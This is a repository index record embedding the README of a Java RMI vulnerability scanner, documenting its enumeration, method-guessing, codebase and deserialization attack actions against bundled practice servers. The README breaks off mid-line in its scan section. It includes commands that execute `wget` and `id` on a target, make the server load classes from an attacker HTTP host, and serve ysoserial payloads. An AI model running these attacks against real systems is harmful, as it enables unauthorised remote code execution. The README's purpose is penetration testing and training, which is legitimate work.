{"id":13576018,"url":"https://github.com/qtc-de/remote-method-guesser","last_synced_at":"2025-05-16T17:06:18.239Z","repository":{"id":36412099,"uuid":"219487244","full_name":"qtc-de/remote-method-guesser","owner":"qtc-de","description":"Java RMI Vulnerability Scanner","archived":false,"fork":false,"pushed_at":"2024-07-03T19:40:54.000Z","size":2680,"stargazers_count":856,"open_issues_count":1,"forks_count":108,"subscribers_count":6,"default_branch":"master","last_synced_at":"2025-04-12T15:58:20.947Z","etag":null,"topics":["bruteforce","codebase-attacks","cve-2019-2684","deserialization","deserialization-attacks","java-rmi","pentesting","remote-method-guessing","rmg","rmi","rmi-registry","rmi-server","security"],"latest_commit_sha":null,"homepage":"","language":"Java","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/qtc-de.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2019-11-04T11:37:38.000Z","updated_at":"2025-04-11T11:05:05.000Z","dependencies_parsed_at":"2023-10-16T01:17:50.288Z","dependency_job_id":"a19dd6cc-887c-49b2-acc6-83efafef62d8","html_url":"https://github.com/qtc-de/remote-method-guesser","commit_stats":{"total_commits":782,"total_committers":6,"mean_commits":"130.33333333333334","dds":"0.24168797953964194","last_synced_commit":"3398ec6abc0af18c71c1f90b0c85702469eabf75"},"previous_names":[],"tags_count":19,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qtc-de%2Fremote-method-guesser","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qtc-de%2Fremote-method-guesser/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qtc-de%2Fremote-method-guesser/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/qtc-de%2Fremote-method-guesser/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/qtc-de","download_url":"https://codeload.github.com/qtc-de/remote-method-guesser/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":254573588,"owners_count":22093731,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["bruteforce","codebase-attacks","cve-2019-2684","deserialization","deserialization-attacks","java-rmi","pentesting","remote-method-guessing","rmg","rmi","rmi-registry","rmi-server","security"],"created_at":"2024-08-01T15:01:06.343Z","updated_at":"2025-05-16T17:06:18.188Z","avatar_url":"https://github.com/qtc-de.png","language":"Java","funding_links":[],"categories":["Java"],"sub_categories":[],"readme":"### Remote Method Guesser\n\n---\n\n[![maven CI](https://github.com/qtc-de/remote-method-guesser/actions/workflows/maven-ci.yml/badge.svg?branch=master)](https://github.com/qtc-de/remote-method-guesser/actions/workflows/maven-ci.yml)\n[![maven CI](https://github.com/qtc-de/remote-method-guesser/actions/workflows/maven-ci.yml/badge.svg?branch=develop)](https://github.com/qtc-de/remote-method-guesser/actions/workflows/maven-ci.yml)\n[![](https://img.shields.io/badge/version-5.1.0-blue)](https://github.com/qtc-de/remote-method-guesser/releases)\n[![](https://img.shields.io/badge/build%20system-maven-blue)](https://maven.apache.org/)\n![](https://img.shields.io/badge/java-8%2b-blue)\n[![](https://img.shields.io/badge/license-GPL%20v3.0-blue)](https://github.com/qtc-de/remote-method-guesser/blob/master/LICENSE)\n[![](https://img.shields.io/badge/javadoc-fa6b05)](https://qtc-de.github.io/remote-method-guesser/)\n\n*remote-method-guesser* (*rmg*) is a *Java RMI* vulnerability scanner and can be used to identify and verify common security\nvulnerabilities on *Java RMI* endpoints.\n\n![Remote Method Guesser Example](https://tneitzel.eu/73201a92878c0aba7c3419b7403ab604/rmg-example.gif)\n\n[![BHUSA Arsenal 2021](https://raw.githubusercontent.com/toolswatch/badges/master/arsenal/usa/2021.svg)](https://www.blackhat.com/us-21/arsenal/schedule/#remote-method-guesser-a-java-rmi-vulnerability-scanner-24092)\n\n*remote-method-guesser* was presented at [Black Hat USA2021](https://www.blackhat.com/us-21/arsenal/schedule/#remote-method-guesser-a-java-rmi-vulnerability-scanner-24092)\nwithin the *Arsenal* sessions. The recording of the session and the corresponding slides are publicly available and can be found using the following links:\n\n* Slides: [https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal](https://www.slideshare.net/TobiasNeitzel/remotemethodguesser-bhusa2021-arsenal)\n* Recording: [https://youtu.be/t_aw1mDNhzI](https://youtu.be/t_aw1mDNhzI)\n\n[![example server](https://github.com/qtc-de/remote-method-guesser/actions/workflows/example-server.yml/badge.svg?branch=master)](https://github.com/qtc-de/remote-method-guesser/actions/workflows/example-server.yml)\n[![ssrf server](https://github.com/qtc-de/remote-method-guesser/actions/workflows/ssrf-server.yml/badge.svg?branch=master)](https://github.com/qtc-de/remote-method-guesser/actions/workflows/ssrf-server.yml)\n[![spring server](https://github.com/qtc-de/remote-method-guesser/actions/workflows/spring-server.yml/badge.svg?branch=master)](https://github.com/qtc-de/remote-method-guesser/actions/workflows/spring-server.yml)\n\nThe *remote-method-guesser* repository contains three example servers that can be used to practice *Java RMI* enumeration and attacks.\nThe [rmg-example-server](/docker/example-server) exposes regular *RMI* services that can be enumerated and exploited using *remote-method-guesser*.\nThe [rmg-ssrf-server](/docker/ssrf-server) exposes an *HTTP* service that is vulnerable to *SSRF* attacks and runs *RMI* services that are only\nlistening on localhost. This can be used to practice with *remote-method-guesser's* ``--ssrf`` and ``--ssrf-response`` options.\nThe [spring-remoting-server](/docker/spring-remoting) exposes RMI interfaces created via *Spring Remoting*. These are a little bit different from\nregular Java RMI and can be used to test the associated Spring Remoting integration of remote-method-guesser.\nAll servers are available as containers within the *GitHub Container Registry*:\n\n* [SSRF Server GitHub Package](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Frmg-ssrf-server)\n* [Example Server GitHub Package](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Frmg-example-server)\n* [Spring Remoting Server GitHub Package](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Fspring-remoting-server)\n\n\n### Table of Contents\n\n----\n\n- [Installation](#installation)\n- [Supported Operations](#supported-operations)\n  + [bind, rebind and unbind](#bind-rebind-and-unbind)\n  + [call](#call)\n  + [codebase](#codebase)\n  + [enum](#enum)\n  + [guess](#guess)\n  + [known](#known)\n  + [listen](#listen)\n  + [objid](#objid)\n  + [roguejmx](#roguejmx)\n  + [scan](#scan)\n  + [serial](#serial)\n- [More Features](#more-features)\n- [Docker Image](#docker-image)\n- [Acknowledgements](#acknowledgements)\n\n\n### Installation\n\n------\n\n*rmg* is a *maven* project and installation should be straight forward. With [maven](https://maven.apache.org/) \ninstalled, just execute the following commands to create an executable ``.jar`` file:\n\n```console\n$ git clone https://github.com/qtc-de/remote-method-guesser\n$ cd remote-method-guesser\n$ mvn package\n```\n\nYou can also use prebuild packages that are created for [each release](https://github.com/qtc-de/remote-method-guesser/releases).\nPrebuild packages for the development branch are created automatically and can be found on the *GitHub* [actions page](https://github.com/qtc-de/remote-method-guesser/actions).\n\n*rmg* does not include *ysoserial* as a dependency. To enable *ysoserial* support, you need either specify the path\nto your ``ysoserial.jar`` file as additional argument (e.g. ``--yso /opt/ysoserial.jar``) or you change the\ndefault path within the [rmg configuration file](./src/config.properties) before building the project.\n\n*rmg* also supports autocompletion for *bash*. To take advantage of autocompletion, you need to have the\n[completion-helpers](https://github.com/qtc-de/completion-helpers) project installed. If setup correctly, just\ncopying the [completion script](./resources/bash_completion.d/rmg) to your ``~/.bash_completion.d`` folder enables\nautocompletion.\n\n```console\n$ cp resources/bash_completion.d/rmg ~/bash_completion.d/\n```\n\n\n### Supported Operations\n\n-----\n\nIn the following, short examples for each available operation are presented. For a more detailed description,\nyou should read the [documentation folder](./docs) that contains more detailed information on *rmg* and *Java RMI*\nin general. All presented examples are based on the [rmg-example-server](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Frmg-example-server)\nand the [rmg-ssrf-server](https://github.com/qtc-de/remote-method-guesser/pkgs/container/remote-method-guesser%2Frmg-ssrf-server).\nBoth of them are contained within this repository in the [docker](/docker) folder and can be used to practice *Java RMI* enumeration.\nYou can either build the corresponding containers yourself or load them directly from the *GitHub Container Registry*.\n\n```console\n[qtc@devbox ~]$ rmg -h\nusage: remote-method-guesser [-h] action ...\n\nrmg v4.0.0 - a Java RMI Vulnerability Scanner\n\npositional arguments:\n  action                  \n    bind                 Binds an object to the registry thats points to listener\n    call                 Regulary calls a method with the specified arguments\n    codebase             Perform remote class loading attacks\n    enum                 Enumerate common vulnerabilities on Java RMI endpoints\n    guess                Guess methods on bound names\n    known                Display details of known remote objects\n    listen               Open ysoserials JRMP listener\n    objid                Print information contained within an ObjID\n    rebind               Rebinds boundname as object that points to listener\n    roguejmx             Creates a rogue JMX listener (collect credentials)\n    scan                 Perform an RMI service scan on common RMI ports\n    serial               Perform deserialization attacks against default RMI components\n    unbind               Removes the specified bound name from the registry\n\nnamed arguments:\n  -h, --help             show this help message and exit\n```\n\n\n#### bind, rebind and unbind\n\nBy using the ``bind``, ``rebind`` or ``unbind`` action, it is possible to modify the available *bound names* within the *RMI registry*.\nThis is especially useful for verifying ``CVE-2019-2684``, which bypasses the localhost restrictions and enables remote users to perform\nbind operations. When using the ``bind`` or ``rebind`` action *remote-method-guesser* binds the ``javax.management.remote.rmi.RMIServerImpl_Stub``\n*RemoteObject* by default, which is the *RemoteObject* used by *jmx* servers. Additionally, you need to specify the address of the corresponding\n*TCP endpoint* where the *RemoteObject* can be found (address where clients should connect to, when they attempt to use your bound object).\n\n```console\n[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 11\n[+] RMI registry bound names:\n[+]\n[+] \t- plain-server2\n[+] \t\t--\u003e eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)\n[+] \t\t    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]\n[+] \t- legacy-service\n[+] \t\t--\u003e eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)\n[+] \t\t    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]\n[+] \t- plain-server\n[+] \t\t--\u003e eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)\n[+] \t\t    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]\n\n[qtc@devbox ~]$ rmg bind 172.17.0.2 9010 127.0.0.1:4444 my-object --localhost-bypass \n[+] Binding name my-object to javax.management.remote.rmi.RMIServerImpl_Stub\n[+]\n[+] \tEncountered no Exception during bind call.\n[+] \tBind operation was probably successful.\n\n[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 14\n[+] RMI registry bound names:\n[+]\n[+] \t- plain-server2\n[+] \t\t--\u003e eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)\n[+] \t\t    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff7, 9040809218460289711]\n[+] \t- my-object\n[+] \t\t--\u003e javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)\n[+] \t\t    Endpoint: 127.0.0.1:4444 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]\n[+] \t- legacy-service\n[+] \t\t--\u003e eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)\n[+] \t\t    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ffc, 4854919471498518309]\n[+] \t- plain-server\n[+] \t\t--\u003e eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)\n[+] \t\t    Endpoint: iinsecure.example:39153 ObjID: [-af587e6:17d6f7bb318:-7ff8, 6721714394791464813]\n```\n\nBy using *remote-method-guesser's Plugin System*, it is also possible to bind custom objects to the *RMI registry*. To learn more about\nthe *Plugin System*, please refer to the [documentation folder](./docs/rmg/plugin-system.md).\n\n\n#### call\n\nUsing *remote-method-guesser's* ``call`` action, you can invoke remote methods without writing any *Java code*. Consider the\nmethod ``String execute(String cmd)`` exists on the remote server. This method sounds promising and you may want to invoke\nit using a regular *Java RMI call*. This can be done by using the following command:\n\n```console\n[qtc@devbox ~]$ rmg call 172.17.0.2 9010 '\"wget 172.17.0.1:8000/worked\"' --signature 'String execute(String cmd)' --bound-name plain-server\n[qtc@devbox www]$ python3 -m http.server\nServing HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...\n172.17.0.2 - - [30/Nov/2021 07:19:06] \"GET /worked HTTP/1.1\" 200 -\n```\n\nNotice that calling remote methods does not create any output by default. To process outputs generated by the ``call`` action, you need\nto use *remote-method-guesser's* [plugin system](./docs/rmg/plugin-system.md) and register a ``ResponseHandler`` or use the default\n`GenericPrint` plugin. `GenericPrint` is inlcuded into *remote-method-guesser* by default and can be activated by using the `--show-response`\noption.\n\n```console\n[qtc@devbox remote-method-guesser]$ rmg call 172.17.0.2 9010 '\"id\"' --signature 'String execute(String cmd)' --bound-name plain-server --show-response\n[+] uid=0(root) gid=0(root) groups=0(root)\n```\n\nDuring the ``call`` action, the provided arguments are evaluated as *Java expression* by inserting them into the following template:\n``new Object[]{ arg1, arg2, arg3, ... }``. Therefore, you need to make sure that your provided arguments fit into that pattern. E.g.\nusing ``\"id\"`` as an argument results in an error, as the argument is passed as ``id`` to *remote-method-guesser* and the resulting\nexpression ``new Object[]{ id }`` is not a valid *Java expression*. Instead, you need to use ``'\"id\"'`` as this leads to ``new Object[]{ \"id\" }``,\nwhich is valid.\n\nMoreover, primitive types need to be specified in their corresponding object representation (e.g. ``new Integer(5)`` instead of ``5``). Otherwise they\ncannot be used within the ``Object[]`` array, that is created by the *Java expression*. During the *RMI call*, the corresponding arguments are used\nas intended and will fit your specified method signature. For more complex use cases, you can also define a custom ``ArgumentProvider`` by using \n*remote-method-guessers* [plugin system](./docs/rmg/plugin-system.md).\n\n\n#### codebase\n\n*Java RMI* supports a feature called *codebases*, where the client and the server can specify *URLs* during *RMI calls* that\nmay be used to load unknown classes dynamically. If an *RMI server* accepts a *client specified codebase*, this can lead to\n*remote code execution* when the client provides a malicious *Java* class during the *RMI communication*.\n\nThe codebase configuration on an *RMI server* can be different for the different components: *Activator*, *DGC*, *Registry* and *Application Level*.\n*remote-method-guesser* allows you to test each component individually by using either ``--signature \u003cmethod\u003e`` (application level),\n``--component act`` (activator), ``--component dgc`` (distributed garbage collector) or ``--component reg`` (RMI registry) together with the\n``codebase`` action.\n\n*Application Level*:\n\n```console\n[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --signature \"String login(java.util.HashMap dummy1)\" --bound-name legacy-service\n[+] Attempting codebase attack on RMI endpoint...\n[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during login call.\n[+]\n[+] \tUsing non primitive argument type java.util.HashMap on position 0\n[+] \tSpecified method signature is String login(java.util.HashMap dummy1)\n[+]\n[+] \tRemote class loader attempted to load dummy class 267eaee13b9e46d2ada471016d693b14\n[+] \tCodebase attack probably worked :)\n[+]\n[+] \tIf where was no callback, the server did not load the attack class ExampleClass.class.\n[+] \tThe class is probably known by the server or it was already loaded before.\n[+] \tIn this case, you should try a different classname.\n\n[qtc@devbox www]$ python3 -m http.server\nServing HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...\n172.17.0.2 - - [30/Nov/2021 07:23:39] \"GET /ExampleClass.class HTTP/1.1\" 200 -\n172.17.0.2 - - [30/Nov/2021 07:23:39] \"GET /267eaee13b9e46d2ada471016d693b14.class HTTP/1.1\" 404 -\n```\n\n*RMI Registry*:\n\n```console\n[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component reg\n[+] Attempting codebase attack on RMI Registry endpoint...\n[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during lookup call.\n[+]\n[+] \tCaught ClassCastException during codebase attack.\n[+] \tCodebase attack most likely worked :)\n\n[qtc@devbox www]$ python3 -m http.server\nServing HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...\n172.17.0.2 - - [30/Nov/2021 07:26:09] \"GET /ExampleClass.class HTTP/1.1\" 200 -\n```\n\n*Distributed Garbage Collector*:\n\n```console\n[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component dgc\n[+] Attempting codebase attack on DGC endpoint...\n[+] Using class Example with codebase http://172.17.0.1:8000/ during clean call.\n[+] \n[+] \tCaught ClassCastException during codebase attack.\n[+] \tCodebase attack most likely worked :)\n\n[qtc@devbox www]$ python3 -m http.server\nServing HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...\n172.17.0.2 - - [30/Nov/2021 07:26:53] \"GET /ExampleClass.class HTTP/1.1\" 200 -\n```\n\n*Activator*:\n\n```console\n[qtc@devbox ~]$ rmg codebase 172.17.0.2 9010 ExampleClass http://172.17.0.1:8000 --component act\n[+] Attempting codebase attack on Activator endpoint...\n[+] Using class ExampleClass with codebase http://172.17.0.1:8000/ during activate call.\n[+]\n[+] \tCaught IllegalArgumentException during codebase attack.\n[+] \tCodebase attack was probably successful :)\n\n[qtc@devbox www]$ python3 -m http.server\nServing HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...\n172.17.0.2 - - [30/Nov/2021 07:27:13] \"GET /ExampleClass.class HTTP/1.1\" 200 -\n```\n\n\n#### enum\n\nThe ``enum`` action performs several checks on the specified *Java RMI* endpoint and prints the corresponding results. For a\nmore detailed explanation on the output generated by the ``enum`` action, you can read the corresponding [documentation\npage](./docs/rmg/actions.md#enum).\n\n```console\n[qtc@devbox ~]$ rmg enum 172.17.0.2 9010\n[+] RMI registry bound names:\n[+]\n[+]   - plain-server2\n[+]     --\u003e eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)\n[+]         Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff7, -3079588349672331489]\n[+]   - legacy-service\n[+]     --\u003e eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)\n[+]         Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ffc, -2969569395601583761]\n[+]   - plain-server\n[+]     --\u003e eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)\n[+]         Endpoint: iinsecure.example:42273 ObjID: [-49c48e31:17d6f8692ae:-7ff8, 1319708214331962145]\n[+]\n[+] RMI server codebase enumeration:\n[+]\n[+]   - http://iinsecure.example/well-hidden-development-folder/\n[+]     --\u003e eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub\n[+]     --\u003e eu.tneitzel.rmg.server.interfaces.IPlainServer\n[+]\n[+] RMI server String unmarshalling enumeration:\n[+]\n[+]   - Caught ClassNotFoundException during lookup call.\n[+]     --\u003e The type java.lang.String is unmarshalled via readObject().\n[+]     Configuration Status: Outdated\n[+]\n[+] RMI server useCodebaseOnly enumeration:\n[+]\n[+]   - Caught MalformedURLException during lookup call.\n[+]     --\u003e The server attempted to parse the provided codebase (useCodebaseOnly=false).\n[+]     Configuration Status: Non Default\n[+]\n[+] RMI registry localhost bypass enumeration (CVE-2019-2684):\n[+]\n[+]   - Caught NotBoundException during unbind call (unbind was accepeted).\n[+]     Vulnerability Status: Vulnerable\n[+]\n[+] RMI Security Manager enumeration:\n[+]\n[+]   - Security Manager rejected access to the class loader.\n[+]     --\u003e The server does use a Security Manager.\n[+]     Configuration Status: Current Default\n[+]\n[+] RMI server JEP290 enumeration:\n[+]\n[+]   - DGC rejected deserialization of java.util.HashMap (JEP290 is installed).\n[+]     Vulnerability Status: Non Vulnerable\n[+]\n[+] RMI registry JEP290 bypass enumeration:\n[+]\n[+]   - Caught IllegalArgumentException after sending An Trinh gadget.\n[+]     Vulnerability Status: Vulnerable\n[+]\n[+] RMI ActivationSystem enumeration:\n[+]\n[+]   - Caught IllegalArgumentException during activate call (activator is present).\n[+]     --\u003e Deserialization allowed  - Vulnerability Status: Vulnerable\n[+]     --\u003e Client codebase enabled  - Configuration Status: Non Default\n```\n\n\n#### guess\n\nWhen using the ``guess`` action, *remote-method-guesser* attempts to identify existing remote methods by sending method hashes\nto the remote server. This operation requires a wordlist that contains the corresponding method definitions.\n*remote-method-guesser* ships some default wordlists that are included into the ``.jar`` file during the build phase.\nYou can overwrite wordlist locations by either modifying the [rmg configuration file](./src/config.properties) or by using the ``--wordlist-file``\nor ``--wordlist-folder`` options. Methods with zero arguments are skipped during guessing, as they lead to real method calls\non the server side. You can enable guessing on zero argument methods by using the ``--zero-arg`` switch.\n\n```console\n[qtc@devbox ~]$ rmg guess 172.17.0.2 9010\n[+] Reading method candidates from internal wordlist rmg.txt\n[+] \t752 methods were successfully parsed.\n[+] Reading method candidates from internal wordlist rmiscout.txt\n[+] \t2550 methods were successfully parsed.\n[+]\n[+] Starting Method Guessing on 3281 method signature(s).\n[+]\n[+] \tMethodGuesser is running:\n[+] \t\t--------------------------------\n[+] \t\t[ plain-server2  ] HIT! Method with signature String execute(String dummy) exists!\n[+] \t\t[ plain-server2  ] HIT! Method with signature String system(String dummy, String[] dummy2) exists!\n[+] \t\t[ legacy-service ] HIT! Method with signature void logMessage(int dummy1, String dummy2) exists!\n[+] \t\t[ legacy-service ] HIT! Method with signature void releaseRecord(int recordID, String tableName, Integer remoteHashCode) exists!\n[+] \t\t[ legacy-service ] HIT! Method with signature String login(java.util.HashMap dummy1) exists!\n[+] \t\t[6562 / 6562] [#####################################] 100%\n[+] \tdone.\n[+]\n[+] Listing successfully guessed methods:\n[+]\n[+] \t- plain-server2 == plain-server\n[+] \t\t--\u003e String execute(String dummy)\n[+] \t\t--\u003e String system(String dummy, String[] dummy2)\n[+] \t- legacy-service\n[+] \t\t--\u003e void logMessage(int dummy1, String dummy2)\n[+] \t\t--\u003e void releaseRecord(int recordID, String tableName, Integer remoteHashCode)\n[+] \t\t--\u003e String login(java.util.HashMap dummy1)\n```\n\n\n#### known\n\nWhen performing the ``enum`` action, *remote-method-guesser* marks available *bound names* on the *RMI registry* ever\nas *known* or as *unknown*. This decision depends on the class that is implemented by the corresponding bound name and\nwhether the corresponding class is contained within the [known endpoint list](/docs/rmi/known-endpoints.md) that is contained\nwithin the *remote-method-guesser* repository. When a *bound name* is marked as *known*, you can use the ``known`` action\non the corresponding class. Doing so returns information on the corresponding class like the available remote methods,\na general description and possible vulnerabilities:\n\n```console\n[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n 5\n[+] RMI registry bound names:\n[+]\n[+] \t- jmxrmi\n[+] \t\t--\u003e javax.management.remote.rmi.RMIServerImpl_Stub (known class: JMX Server)\n[+] \t\t    Endpoint: iinsecure.example:41991 ObjID: [6633018:17cb5d1bb57:-7ff8, -8114172517417646722]\n\n[qtc@devbox ~]$ rmg known javax.management.remote.rmi.RMIServerImpl_Stub\n[+] Name:\n[+] \tJMX Server\n[+]\n[+] Class Name:\n[+] \t- javax.management.remote.rmi.RMIServerImpl_Stub\n[+] \t- javax.management.remote.rmi.RMIServer\n[+]\n[+] Description:\n[+] \tJava Management Extensions (JMX) can be used to monitor and manage a running Java virtual machine.\n[+] \tThis remote object is the entrypoint for initiating a JMX connection. Clients call the newClient\n[+] \tmethod usually passing a HashMap that contains connection options (e.g. credentials). The return\n[+] \tvalue (RMIConnection object) is another remote object that is when used to perform JMX related\n[+] \tactions. JMX uses the randomly assigned ObjID of the RMIConnection object as a session id.\n[+]\n[+] Remote Methods:\n[+] \t- String getVersion()\n[+] \t- javax.management.remote.rmi.RMIConnection newClient(Object params)\n[+]\n[+] References:\n[+] \t- https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html\n[+] \t- https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi\n[+]\n[+] Vulnerabilities:\n[+]\n[+] \t-----------------------------------\n[+] \tName:\n[+] \t\tMLet\n[+]\n[+] \tDescription:\n[+] \t\tMLet is the name of an MBean that is usually available on JMX servers. It can be used to load\n[+] \t\tother MBeans dynamically from user specified codebase locations (URLs). Access to the MLet MBean\n[+] \t\tis therefore most of the time equivalent to remote code execution.\n[+]\n[+] \tReferences:\n[+] \t\t- https://github.com/qtc-de/beanshooter\n[+]\n[+] \t-----------------------------------\n[+] \tName:\n[+] \t\tDeserialization\n[+]\n[+] \tDescription:\n[+] \t\tBefore CVE-2016-3427 got resolved, JMX accepted arbitrary objects during a call to the newClient\n[+] \t\tmethod, resulting in insecure deserialization of untrusted objects. Despite being fixed, the\n[+] \t\tactual JMX communication using the RMIConnection object is not filtered. Therefore, if you can\n[+] \t\testablish a working JMX connection, you can also perform deserialization attacks.\n[+]\n[+] \tReferences:\n[+] \t\t- https://github.com/qtc-de/beanshooter\n```\n\nThe list of known classes, their description and the list of known vulnerabilities is far from being complete.\nIt will hopefully grow in future and is driven by input from other users. If you encounter an *RMI endpoint*\nthat implements a currently missing class and you have sufficient information (description and available methods),\nfeel free to create an issue or pull request.\n\n\n#### listen\n\nSometimes it is required to provide a malicious *JRMPListener*, which serves deserialization payloads\nto incoming *RMI* connections. Writing such a listener from scratch is not necessary, as it is already provided by the\n[ysoserial project](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/exploit/JRMPListener.java).\n*remote-method-guesser* provides a wrapper around the *ysoserial* implementation, which lets you spawn a *JRMPListener*\nby using the usual *rmg* syntax:\n\n```console\n[qtc@devbox ~]$ rmg listen 0.0.0.0 4444 CommonsCollections6 \"touch /dev/shm/test\"\n[+] Creating ysoserial payload... done.\n[+] Creating a JRMPListener on 0.0.0.0:4444.\n[+] Handing off to ysoserial...\n```\n\n\n#### objid\n\nThe ``objid`` action can be used to display more detailed information on an ``ObjID``. Each *RemoteObject* gets assigned\nan ``ObjID`` when it is exported by the *RMI runtime*. Knowledge of the ``ObjID`` value is required to communicate with\na *RemoteObject*, which is also the case why you usually need an *RMI registry*. The *RMI registry* contains the ``ObjID``\nfor each *bound name* and *remote-method-guesser* displays them during the ``enum`` action.\n\n```console\n[qtc@devbox ~]$ rmg enum 172.17.0.2 9010 | head -n11\n[+] RMI registry bound names:\n[+]\n[+] \t- plain-server2\n[+] \t\t--\u003e eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)\n[+] \t\t    Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]\n[+] \t- legacy-service\n[+] \t\t--\u003e eu.tneitzel.rmg.server.legacy.LegacyServiceImpl_Stub (unknown class)\n[+] \t\t    Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ffc, 625759208507801754]\n[+] \t- plain-server\n[+] \t\t--\u003e eu.tneitzel.rmg.server.interfaces.IPlainServer (unknown class)\n[+] \t\t    Endpoint: iinsecure.example:40393 ObjID: [-2bc5d969:17d6f8cf44c:-7ff8, -6355415622579283910]\n```\n\n``ObjID`` values consist out of different components. These components are displayed in human readable form when\nusing the ``objid`` action on the corresponding ``ObjID``:\n\n```console\n[qtc@devbox ~]$ rmg objid '[-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]'\n[+] Details for ObjID [-2bc5d969:17d6f8cf44c:-7ff7, 1096154566158180646]\n[+]\n[+] ObjNum: \t\t1096154566158180646\n[+] UID:\n[+] \tUnique: \t-734386537\n[+] \tTime: \t\t1638254048332 (Nov 30,2021 07:34)\n[+] \tCount: \t\t-32759\n```\n\nMost of the displayed information is not that useful, but the *Time* value can be interesting. This value contains\nthe time when the *RemoteObject* was created. Therefore, it allows you to determine things like the up-time of an\n*RMI* server.\n\n\n#### scan\n\nSometimes you identify services that are common to ship *Java RMI* components with them (*JBoss*, *Solr*, *Tomcat*, ...),\nbut you do not want to perform a full portscan on the corresponding host. In these situations, the ``scan`` action\ncan be useful. It performs a quick port scan for common *RMI* ports only and attempts to identify *RMI* services\non them:\n\n```console\n[qtc@devbox ~]$ rmg scan 172.17.0.2\n[+] Scanning 112 Ports on 172.17.0.2 for RMI services.\n[+]\n[+] \t[HIT] Found RMI service(s) on 172.17.0.2:9010  (Registry, Activator, DGC)\n[+] \t[HIT] Found RMI service(s) on 172.17.0.2:1090  (Registry, DGC)\n[+] \t[119 / 119] [#############################] 100%\n[+]\n[+] Portscan finished.\n```\n\nBy default, the scan actions uses a preconfigured list of common *RMI ports*. To customize the list of ports to scan,\nyou can use the ``--ports`` option. This option accepts plain numbers and number ranges for port specifications.\nThe dash character (``-``) can be used to reference the default port list.\n\n```console\n[qtc@devbox ~]$ rmg scan 172.17.0.2 --ports 0-100 1000-1100 9000-9020 35000-36000 40000-45000\n[+] Scanning 6225 Ports on 172.17.0.2 for RMI services.\n[+]\n[+] \t[HIT] Found RMI service(s) on 172.17.0.2:40393 (DGC)\n[+] \t[HIT] Found RMI service(s) on 172.17.0.2:1090  (Registry, DGC)\n[+] \t[HIT] Found 